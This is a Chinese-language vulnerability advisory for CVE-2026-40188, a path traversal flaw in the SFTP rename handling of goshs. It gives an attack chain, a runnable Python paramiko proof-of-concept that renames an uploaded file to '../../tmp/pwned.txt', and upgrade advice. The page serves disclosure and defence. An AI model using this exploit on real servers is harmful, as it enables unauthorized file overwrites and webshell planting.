IPBUF安全漏洞报告
English
CVE-2026-40188 CVSS 7.7 高危

CVE-2026-40188 goshs SFTP路径遍历漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40188
漏洞类型
路径遍历
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

路径遍历goshsSFTP任意文件写入CVE-2026-40188

漏洞概述

goshs是一款Go语言编写的SimpleHTTPServer。在1.0.7至2.0.0-beta.4之间的版本中,SFTP重命名命令存在路径遍历漏洞。由于未对目标路径进行充分净化,低权限攻击者可利用此缺陷将文件写入SFTP根目录之外,导致任意文件写入风险。

技术细节

该漏洞的核心在于goshs对SFTP `rename`指令的处理逻辑不当。开发人员仅对源路径进行了安全校验,以防止路径遍历攻击,却遗漏了对目标路径的相同级别检查。这使得具有低权限账号的攻击者能够通过构造包含特殊字符(如`../`)的目标路径参数,将服务器上的文件移动或重写到预期根目录之外的任意位置。攻击者可借此覆盖系统配置文件、写入Webshell或恶意数据,虽然直接读取能力受限,但对系统完整性和可用性构成了严重威胁。建议用户尽快升级至修复版本以消除风险。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标运行的是goshs服务,且版本在1.0.7至2.0.0-beta.4之间,同时开启了SFTP服务。
STEP 2
2. 获取凭证
攻击者通过暴力破解、钓鱼或其他方式获取一个低权限的SFTP账号密码。
STEP 3
3. 漏洞利用
攻击者连接SFTP服务,上传一个普通文件,随后使用rename命令,将目标路径设置为包含'../'的路径(如'../../etc/passwd'),触发路径遍历。
STEP 4
4. 达成效果
文件被成功移动或写入到SFTP根目录之外,导致系统文件被篡改或恶意文件植入。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paramiko import sys # Exploit for CVE-2026-40188: goshs SFTP Path Traversal via Rename # Target: goshs < 2.0.0-beta.4 def exploit(host, port, username, password): try: # Create SSH client transport = paramiko.Transport((host, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) print(f"[*] Connected to {host}:{port}") # 1. Create a dummy file inside the allowed root directory local_file = 'payload.txt' remote_safe_file = 'payload.txt' with open(local_file, 'w') as f: f.write('Malicious content') sftp.put(local_file, remote_safe_file) print(f"[*] Uploaded {local_file} to {remote_safe_file}") # 2. Exploit the rename vulnerability # Source path is sanitized, but Destination path is NOT # We try to rename the file to escape the root directory malicious_dest = "../../tmp/pwned.txt" print(f"[*] Attempting to rename {remote_safe_file} to {malicious_dest}...") sftp.rename(remote_safe_file, malicious_dest) print("[+] Exploit successful! File written outside root directory.") sftp.close() transport.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <host> <port> <user> <pass>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

影响范围

goshs 1.0.7
goshs 2.0.0-beta.4 之前版本

防御指南

临时缓解措施
建议立即将goshs升级至2.0.0-beta.4或更高版本以修复此漏洞。若暂时无法升级,应禁用SFTP服务或通过防火墙严格限制访问来源,仅允许可信内网IP连接,并密切监控文件系统异常变动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表